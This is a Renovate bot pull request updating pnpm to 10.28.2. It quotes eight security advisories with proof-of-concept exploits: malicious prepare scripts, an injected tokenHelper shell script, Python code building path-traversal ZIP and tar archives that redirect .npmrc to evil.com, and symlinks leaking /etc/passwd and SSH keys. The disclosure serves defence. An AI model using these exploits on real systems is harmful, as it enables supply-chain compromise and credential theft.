chore(deps): update pnpm to v10.28.2 [security] by renovate-sh-app[bot] · Pull Request #17 · grafana/collector-configurator

renovate-sh-app · 2026-01-08T06:13:09Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	`10.20.0+sha512.cf9998222162dd85864d0a8102e7892e7ba4ceadebbf5a31f9c2fce48dfce317a9c53b9f6464d1ef9042cba2e02ae02a9f7c143a2b438cd93c91840f0192b9dd` → `10.28.2`

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

CVE-2025-69264 / GHSA-379q-355j-w6rj

More information

Details

pnpm v10+ Git Dependency Script Execution Bypass

Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch:

prepare
prepublish
prepack

Attack vectors:

git+https://github.com/attacker/malicious.git
github:attacker/malicious
gitlab:attacker/malicious
bitbucket:attacker/malicious
git+ssh://git@github.com/attacker/malicious.git
git+file:///path/to/local/repo

PoC

Prerequisites:

pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
git

Steps to reproduce:

Extract the attached poc.zip
Run the PoC script:
```
cd poc
chmod +x run-poc.sh
./run-poc.sh
```
Verify the marker file was created by the malicious script:
```
cat /tmp/pnpm-vuln-poc-marker.txt
```

Manual reproduction:

Create a malicious package with a prepare script:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "scripts": {
    "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
  }
}

Initialize it as a git repo and commit the files
Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):
```
{
  "dependencies": {
    "malicious-pkg": "git+file:///path/to/malicious-pkg"
  }
}
```
Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted:

All pnpm v10+ users
Users who believed they were protected by the v10 "scripts disabled by default" feature
CI/CD pipelines

Attack scenarios:

Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do:

Execute arbitrary code with the victim's privileges
Exfiltrate environment variables, secrets, and credentials
Modify source code or inject backdoors
Establish persistence or reverse shells
Access the filesystem and network

Why this bypasses security expectations:

pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
Users expect git dependencies to follow the same security model as npm registry packages
There is no warning that git dependencies are treated differently
The onlyBuiltDependencies configuration does not affect git dependencies

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw

More information

Details

Summary

HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.

Details

When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:

resolving/tarball-resolver/src/index.ts:

return {
  resolution: {
    tarball: resolvedUrl,
    // No integrity field
  },
  resolvedVia: 'url',
}

The resulting lockfile entry has no integrity to verify:

remote-dynamic-dependency@http://example.com/pkg.tgz:
  resolution: {tarball: http://example.com/pkg.tgz}
  version: 1.0.0

Since there is no integrity hash, pnpm cannot detect when the server returns different content.

This affects:

HTTP/HTTPS tarball URLs ("pkg": "https://example.com/pkg.tgz")
Git shorthand dependencies ("pkg": "github:user/repo")
Git URLs ("pkg": "git+https://github.com/user/repo")

npm registry packages are not affected as they include integrity hashes from the registry metadata.

PoC

See attached pnpm-bypass-integrity-poc.zip

The POC includes:

A server that returns different tarball content on each request
A malicious-package that depends on the HTTP tarball
A victim project that depends on malicious-package

To run:

cd pnpm-bypass-integrity-poc
./run-poc.sh

The output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.

Impact

An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:

Targeted attacks based on request metadata (IP, headers, timing)
Evasion of security audits (serve benign code during review, malicious code later)
Supply chain attacks where the malicious payload changes over time

The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

Package: pnpm
Versions: All versions using @pnpm/config.env-replace and loadToken functionality
File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

Environment Variable Substitution
- .npmrc supports ${VAR} syntax
- Substitution occurs in readLocalConfig()
loadToken Execution
- Uses spawnSync(helperPath, { shell: true })
- Only validates absolute path existence
Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

Private npm registry access
Control over environment variables
Ability to place scripts in filesystem

PoC Steps

##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

CVSS Score: 7.6 (High)
CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

CI/CD pipelines (GitHub Actions, GitLab CI)
Docker build environments
Kubernetes deployments
Private registry users

Low Risk:

Public registry only
Production runtime (no pnpm execution)
Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

Review CI/CD env vars
Restrict .npmrc changes
Monitor build logs

Recommended Fixes

Remove shell: true from loadToken
Implement helper path allowlist
Validate substituted paths
Consider sandboxing

Disclosure

Discovery: 2025-11-02
PoC: 2025-11-02
Report: [Pending disclosure decision]

References

Repository: https://github.com/pnpm/pnpm
Affected: @pnpm/config.env-replace@^3.0.2
Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang
Contact: sy2n0@naver.com

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

All pnpm users who install packages with binary assets
Users who configure custom Node.js binary locations
CI/CD pipelines that auto-install binary dependencies
Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}

Install the package:

pnpm add /path/to/malicious-pkg

Observe .npmrc created in project root (outside node_modules/.bin).

Impact

All pnpm users who install npm packages
CI/CD pipelines using pnpm
Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

Developers installing local/file dependencies
CI/CD pipelines installing git dependencies
Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

CVSS Score: 6.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

Supply-chain attack via npm packages
File permissions changed from 600 to 755 (world-readable)
Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

CVSS Score: 6.7 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pnpm/pnpm (pnpm)

`v10.28.2`: pnpm 10.28.2

Compare Source

Patch Changes

Security fix: prevent path traversal in directories.bin field.
When pnpm installs a file: or git: dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked into node_modules.

This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa) and have their contents copied when the package is installed.

Note: This only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.
Fixed optional dependencies to request full metadata from the registry to get the libc field, which is required for proper platform compatibility checks #9950.

Platinum Sponsors

Gold Sponsors

`v10.28.1`: pnpm 10.28.1

Compare Source

Patch Changes

Fixed installation of config dependencies from private registries.

Added support for object type in configDependencies when the tarball URL returned from package metadata differs from the computed URL #10431.
Fix path traversal vulnerability in binary fetcher ZIP extraction
- Validate ZIP entry paths before extraction to prevent writing files outside target directory
- Validate BinaryResolution.prefix (basename) to prevent directory escape via crafted prefix
- Both attack vectors now throw ERR_PNPM_PATH_TRAVERSAL error
Support plain http:// and https:// URLs ending with .git as git repository dependencies.

Previously, URLs like https://gitea.example.org/user/repo.git#commit were not recognized as git repositories because they lacked the git+ prefix (e.g., git+https://). This caused issues when installing dependencies from self-hosted git servers like Gitea or Forgejo that don't provide tarball downloads.

Changes:
- The git resolver now runs before the tarball resolver, ensuring git URLs are handled by the correct resolver
- The git resolver now recognizes plain http:// and https:// URLs ending in .git as git repositories
- Removed the isRepository check from the tarball resolver since it's no longer needed with the new resolver order
Fixes #10468
pnpm run -r and pnpm run --filter now fail with a non-zero exit code when no packages have the specified script. Previously, this only failed when all packages were selected. Use --if-present to suppress this error #6844.
Fixed a path traversal vulnerability in tarball extraction on Windows. The path normalization was only checking for ./ but not .\. Since backslashes are directory separators on Windows, malicious packages could use paths like foo\..\..\.npmrc to write files outside the package directory.
When running "pnpm exec" from a subdirectory of a project, don't change the current working directory to the root of the project #5759.
Fixed a path traversal vulnerability in pnpm's bin linking. Bin names starting with @ bypassed validation, and after scope normalization, path traversal sequences like ../../ remained intact.
Revert Try to avoid making network calls with preferOffline #10334.
Fix --save-peer to write valid semver ranges to peerDependencies for protocol-based installs (e.g. jsr:) by deriving from resolved versions when available and falling back to * if none is available #10417.
Do not exclude the root workspace project, when it is explicitly selected via a filter #10465.

Platinum Sponsors

Gold Sponsors

`v10.28.0`: pnpm 10.28

Compare Source

Minor Changes

Add support for a hook called beforePacking that can be used to customize the package.json contents at publish time #3816.
In some cases, a filtered install (i.e. pnpm install --filter ...) was slower than running pnpm install without any filter arguments. This performance regression is now fixed. Filtered installs should be as fast or faster than a full install #10408.

Patch Changes

Do not add a symlink to the project into the store's project registry if the store is in a subdirectory of the project #10411.
It should be possible to declare the requiredScripts setting in pnpm-workspace.yaml #10261.

Platinum Sponsors

Gold Sponsors

`v10.27.0`: pnpm 10.27

Compare Source

Minor Changes

Adding trustPolicyIgnoreAfter allows you to ignore trust policy checks for packages published more than a specified time ago#10352.
Added project registry for global virtual store prune support.

Projects using the store are now registered via symlinks in {storeDir}/v10/projects/. This enables pnpm store prune to track which packages are still in use by active projects and safely remove unused packages from the global virtual store.
Semi-breaking. Changed the location of unscoped packages in the virtual global store. They will now be stored under a directory named @ to maintain a uniform 4-level directory depth.
Added mark-and-sweep garbage collection for global virtual store.

pnpm store prune now removes unused packages from the global virtual store's links/ directory. The algorithm:
1. Scans all registered projects for symlinks pointing to the store
2. Walks transitive dependencies to mark reachable packages
3. Removes any package directories not marked as reachable
This includes support for workspace monorepos - all node_modules directories within a project (including those in workspace packages) are scanned.

Patch Changes

Throw an error if the value of the tokenHelper or <url>:tokenHelper setting contains an environment variable.
Git dependencies with build scripts should respect the dangerouslyAllowAllBuilds settings #10376.
Skip the package manager check when running with --global and a project packageManager is configured, and warn that the check is skipped.
pnpm store prune should not fail if the dlx cache directory has files, not only directories #10384
Fixed a bug (#9759) where pnpm add would incorrectly modify a catalog entry in pnpm-workspace.yaml to its exact version.

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`v10.26.2`: pnpm 10.26.2

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Patch Changes

Improve error message when a package version exists but does not meet the minimumReleaseAge constraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #10307.
Fix installation of Git dependencies using annotated tags #10335.

Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused ERR_PNPM_GIT_CHECKOUT_FAILED errors because the checked-out commit hash didn't match the stored tag object hash.
Binaries of runtime engines (Node.js, Deno, Bun) are written to node_modules/.bin before lifecycle scripts (install, postinstall, prepare) are executed #10244.
Try to avoid making network calls with preferOffline #10334.

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`v10.26.1`: pnpm 10.26.1

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Patch Changes

Don't fail on pnpm add, when blockExoticSubdeps is set to true #10324.
Always resolve git references to full commits and ensure HEAD points to the commit after checkout #10310.

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renovate-sh-app · 2026-01-08T06:13:13Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

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Command failed: corepack use pnpm@10.28.2

| datasource | package | from | to | | ---------- | ------- | ------- | ------- | | npm | pnpm | 10.20.0 | 10.28.2 | Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>

renovate-sh-app bot added automerge-security-update severity:HIGH labels Jan 8, 2026

renovate-sh-app bot changed the title ~~chore(deps): update pnpm to v10.27.0 [security]~~ chore(deps): update pnpm to v10.27.0 [security] - autoclosed Jan 27, 2026

renovate-sh-app bot closed this Jan 27, 2026

renovate-sh-app bot deleted the renovate/npm-pnpm-vulnerability branch January 27, 2026 06:20

renovate-sh-app bot changed the title ~~chore(deps): update pnpm to v10.27.0 [security] - autoclosed~~ chore(deps): update pnpm to v10.28.2 [security] Jan 28, 2026

renovate-sh-app bot reopened this Jan 28, 2026

renovate-sh-app bot force-pushed the renovate/npm-pnpm-vulnerability branch 2 times, most recently from 0c34e66 to 2690bcf Compare January 28, 2026 18:11

chore(deps): update pnpm to v10.28.2 [security]

11f9378

| datasource | package | from | to | | ---------- | ------- | ------- | ------- | | npm | pnpm | 10.20.0 | 10.28.2 | Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>

renovate-sh-app bot force-pushed the renovate/npm-pnpm-vulnerability branch from 2690bcf to 11f9378 Compare February 6, 2026 10:06

renovate-sh-app bot added severity:UNKNOWN and removed severity:HIGH labels Feb 10, 2026

renovate-sh-app bot added update-minor severity:HIGH and removed severity:UNKNOWN labels Mar 10, 2026

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chore(deps): update pnpm to v10.28.2 [security]#17

chore(deps): update pnpm to v10.28.2 [security]#17
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pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

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pnpm v10+ Git Dependency Script Execution Bypass

Summary

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PoC

Impact

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pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies

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PoC

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pnpm vulnerable to Command Injection via environment variable substitution

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pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

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pnpm has Windows-specific tarball Path Traversal

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pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

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pnpm has symlink traversal in file:/git dependencies

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pnpm has Path Traversal via arbitrary file permission modification

Details

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Details

renovate-sh-app bot commented Jan 8, 2026 •

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`v10.28.2`: pnpm 10.28.2

`v10.28.1`: pnpm 10.28.1

`v10.28.0`: pnpm 10.28

`v10.27.0`: pnpm 10.27

`v10.26.2`: pnpm 10.26.2

`v10.26.1`: pnpm 10.26.1

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